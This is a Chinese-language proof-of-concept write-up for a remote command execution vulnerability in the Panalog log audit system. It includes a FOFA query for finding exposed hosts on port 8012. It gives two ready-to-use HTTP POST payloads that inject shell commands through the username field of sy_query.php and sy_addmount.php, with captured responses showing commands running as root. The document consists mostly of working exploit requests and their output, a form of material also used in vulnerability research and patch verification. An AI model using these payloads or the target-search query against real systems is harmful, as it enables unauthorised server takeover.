

P3-5Panalog-日志审计系统-RCE

漏洞描述：

Panalog日志审计系统 sy_query.php接口处存在远程命令执行漏洞，攻击者可执行任意命令，接管服务器权限。

网站图片：



网络测绘：

fofa语法：

FOFA: app="Panabit-Panalog" && port="8012"

漏洞复现：

payload:

```
POST /account/sy_query.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Connection: close

username=;whoami>1.txt
```

效果图:



查看命令执行结果

Request

< > 数据包扫描 热加载 构造请求

1 GET /account/1.txt HTTP/1.1

2 Host : 8012

3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

4 Content-Type: application/x-www-form-urlencoded

5 Accept-Encoding: gzip

6 Connection: close

7

8

Responses https 5b

1 HTTP/1.1 200 OK

2 Server: nginx

3 Date: Thu, 30

4 Content-Type:

5 Last-Modified

6 Connection: c

7 ETag: "65689f

8 Accept-Ranges

9 Content-Lengt

10

11 root

12

POC-2

```
POST /account/sy_addmount.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Connection: close

username=id
```

Request

< > 数据包扫描 热加载 构造请求

1 POST /account/sy_addmount.php HTTP/1.1

2 Host : 8012

3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

4 Content-Type: application/x-www-form-urlencoded

5 Accept-Encoding: gzip

6 Connection: close

7

8 username=id

Responses https 40byt

1 HTTP/1.1 200 OK

2 Server: nginx

3 Date: Sat, 09 Dec

4 Content-Type: tex

5 Connection: close

6 Content-Length: 4

7

8 uid=0(root) gid=0